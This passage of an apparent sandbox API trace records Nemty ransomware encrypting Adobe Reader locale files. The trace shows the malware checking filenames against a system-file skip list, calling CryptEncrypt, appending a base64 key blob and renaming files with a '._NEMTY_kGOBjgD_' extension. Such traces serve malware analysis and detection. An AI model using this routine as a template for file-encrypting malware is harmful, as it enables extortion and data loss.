lpWideCharStr="eBook.EUQ", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0176.097] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.EUQ", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.EUQ", lpUsedDefaultChar=0x0) returned 9 [0176.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.097] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.EUQ", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0176.097] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.EUQ", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.EUQ", lpUsedDefaultChar=0x0) returned 9 [0176.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.097] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.EUQ", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0176.097] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.EUQ", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.EUQ", lpUsedDefaultChar=0x0) returned 9 [0176.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.097] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.EUQ", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0176.097] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.EUQ", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.EUQ", lpUsedDefaultChar=0x0) returned 9 [0176.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0176.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0176.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0176.097] Sleep (dwMilliseconds=0x5) [0176.106] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c9d4710, dwHighDateTime=0x1d561e8)) [0176.106] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c9d4710, dwHighDateTime=0x1d561e8)) [0176.106] GetLastError () returned 0x0 [0176.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.106] GetLastError () returned 0x0 [0176.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.106] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.106] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.107] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0176.107] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="/lPX7SO0Yxo4cOG1LvM4NfpSL7GpeNSC7DpalmwdQDxarOQRl/zmV81Ait7t0TBr\r\nimSCbsuRydAKbu61SgBAPP3dpKDXVzfQ3pM0cUGs9X0L5LXDZPMU93OZ/FUZbNtD\r\nGMvqPzMZ/aw3PAtnaviaM5T87Lqx+v9ew2zyo+BGd5apZioXfwf91Tl2LHc1ZUF7\r\nZICcakTRASwO6JouQj3oCrchuzQEOdN0NkWA0REKBVu5gc7op/j6AOElYnzYT8Qg\r\nGUv2Mrr+jlG+6mtN7HChE1N7pkdaA9Itw62tfuAyZnuH4gJjylH9iodHT9j74+gW\r\nbxbJFDUfCzIV5SCtjowTeQ==\r\n", pcchString=0x653e5dc) returned 1 [0176.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0176.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.107] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\eBook.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\ebook.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.107] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6656) returned 1 [0176.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a00) returned 0x6352c48 [0176.107] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.107] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1a00, lpOverlapped=0x0) returned 1 [0176.109] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.109] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1a00, lpOverlapped=0x0) returned 1 [0176.109] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.109] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=6656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a00 [0176.109] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.109] CloseHandle (hObject=0x2e8) returned 1 [0176.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0176.110] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.110] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0176.110] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0176.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0176.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.110] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\eBook.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\ebook.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\eBook.EUQ._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\ebook.euq._nemty_kgobjgd_")) returned 1 [0176.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0176.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0176.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.110] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0176.110] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="EScript.EUQ", cAlternateFileName="")) returned 1 [0176.110] lstrcmpiW (lpString1="EScript.EUQ", lpString2=".") returned 1 [0176.110] lstrcmpiW (lpString1="EScript.EUQ", lpString2="..") returned 1 [0176.111] lstrcmpiW (lpString1="EScript.EUQ", lpString2="...") returned 1 [0176.111] lstrcmpiW (lpString1="EScript.EUQ", lpString2="windows") returned -1 [0176.111] lstrcmpiW (lpString1="EScript.EUQ", lpString2="$RECYCLE.BIN") returned 1 [0176.111] lstrcmpiW (lpString1="EScript.EUQ", lpString2="rsa") returned -1 [0176.111] lstrcmpiW (lpString1="EScript.EUQ", lpString2="NTDETECT.COM") returned -1 [0176.111] lstrcmpiW (lpString1="EScript.EUQ", lpString2="ntldr") returned -1 [0176.111] lstrcmpiW (lpString1="EScript.EUQ", lpString2="MSDOS.SYS") returned -1 [0176.111] lstrcmpiW (lpString1="EScript.EUQ", lpString2="IO.SYS") returned -1 [0176.111] lstrcmpiW (lpString1="EScript.EUQ", lpString2="boot.ini") returned 1 [0176.111] lstrcmpiW (lpString1="EScript.EUQ", lpString2="boot.ini") returned 1 [0176.111] lstrcmpiW (lpString1="EScript.EUQ", lpString2="AUTOEXEC.BAT") returned 1 [0176.111] lstrcmpiW (lpString1="EScript.EUQ", lpString2="ntuser.dat") returned -1 [0176.111] lstrcmpiW (lpString1="EScript.EUQ", lpString2="desktop.ini") returned 1 [0176.111] lstrcmpiW (lpString1="EScript.EUQ", lpString2="CONFIG.SYS") returned 1 [0176.111] lstrcmpiW (lpString1="EScript.EUQ", lpString2="RECYCLER") returned -1 [0176.111] lstrcmpiW (lpString1="EScript.EUQ", lpString2="BOOTSECT.BAK") returned 1 [0176.111] lstrcmpiW (lpString1="EScript.EUQ", lpString2="bootmgr") returned 1 [0176.111] lstrcmpiW (lpString1="EScript.EUQ", lpString2="programdata") returned -1 [0176.111] lstrcmpiW (lpString1="EScript.EUQ", lpString2="appdata") returned 1 [0176.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.111] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.EUQ", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0176.111] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.EUQ", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.EUQ", lpUsedDefaultChar=0x0) returned 11 [0176.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.111] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.EUQ", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0176.111] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.EUQ", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.EUQ", lpUsedDefaultChar=0x0) returned 11 [0176.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.111] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.EUQ", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0176.111] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.EUQ", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.EUQ", lpUsedDefaultChar=0x0) returned 11 [0176.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.111] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.111] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.EUQ", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0176.111] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.EUQ", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.EUQ", lpUsedDefaultChar=0x0) returned 11 [0176.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0176.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0176.112] Sleep (dwMilliseconds=0x5) [0176.122] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c9fa870, dwHighDateTime=0x1d561e8)) [0176.122] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c9fa870, dwHighDateTime=0x1d561e8)) [0176.122] GetLastError () returned 0x0 [0176.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.122] GetLastError () returned 0x0 [0176.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.122] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.122] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.122] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.122] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.122] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0176.123] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="NsznbKwy3yy9CMfmi0mT5z3vqc4V/NTNi+5Dty5GX+ndjPmfSCiyKwJ1WJivGTHL\r\nyjHcH1t83nqoIk2Y6e1hD+sREj4ppTVnIEtFc6fChK/1vSezBZv7FX9g/RlKsznH\r\nyRtBKse8enIzjqwHZWhBDKiVs4UMUHn7gGJvTZs1XzMU1VpZfGgUng3mYsj3Axzm\r\nIT1d2fd869MRW7Uea9P2Y5BbtPQQjVZeOFpTQ/d4LeaEbyvLgEi7QhxDeyFyR7u+\r\nFK8VZnaU0Wle97fcCG0Qb4ep3VaMieClTYoR7WmQm1G7G9JnSf4iDbEAIep+YW1M\r\nxhs9S5X2P/R4Yuz61h/4bw==\r\n", pcchString=0x653e5dc) returned 1 [0176.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.123] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.123] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0176.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.123] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\EScript.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\escript.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.123] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=40448) returned 1 [0176.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x9e00) returned 0x6352c48 [0176.123] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.123] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x9e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x9e00, lpOverlapped=0x0) returned 1 [0176.127] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.127] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x9e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x9e00, lpOverlapped=0x0) returned 1 [0176.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.127] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=40448, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9e00 [0176.127] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.127] CloseHandle (hObject=0x2e8) returned 1 [0176.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0176.127] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.127] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0176.128] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0176.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0176.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.128] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\EScript.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\escript.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\EScript.EUQ._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\escript.euq._nemty_kgobjgd_")) returned 1 [0176.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0176.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0176.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.128] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.128] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="IA32.EUQ", cAlternateFileName="")) returned 1 [0176.128] lstrcmpiW (lpString1="IA32.EUQ", lpString2=".") returned 1 [0176.128] lstrcmpiW (lpString1="IA32.EUQ", lpString2="..") returned 1 [0176.128] lstrcmpiW (lpString1="IA32.EUQ", lpString2="...") returned 1 [0176.128] lstrcmpiW (lpString1="IA32.EUQ", lpString2="windows") returned -1 [0176.128] lstrcmpiW (lpString1="IA32.EUQ", lpString2="$RECYCLE.BIN") returned 1 [0176.129] lstrcmpiW (lpString1="IA32.EUQ", lpString2="rsa") returned -1 [0176.129] lstrcmpiW (lpString1="IA32.EUQ", lpString2="NTDETECT.COM") returned -1 [0176.129] lstrcmpiW (lpString1="IA32.EUQ", lpString2="ntldr") returned -1 [0176.129] lstrcmpiW (lpString1="IA32.EUQ", lpString2="MSDOS.SYS") returned -1 [0176.129] lstrcmpiW (lpString1="IA32.EUQ", lpString2="IO.SYS") returned -1 [0176.129] lstrcmpiW (lpString1="IA32.EUQ", lpString2="boot.ini") returned 1 [0176.129] lstrcmpiW 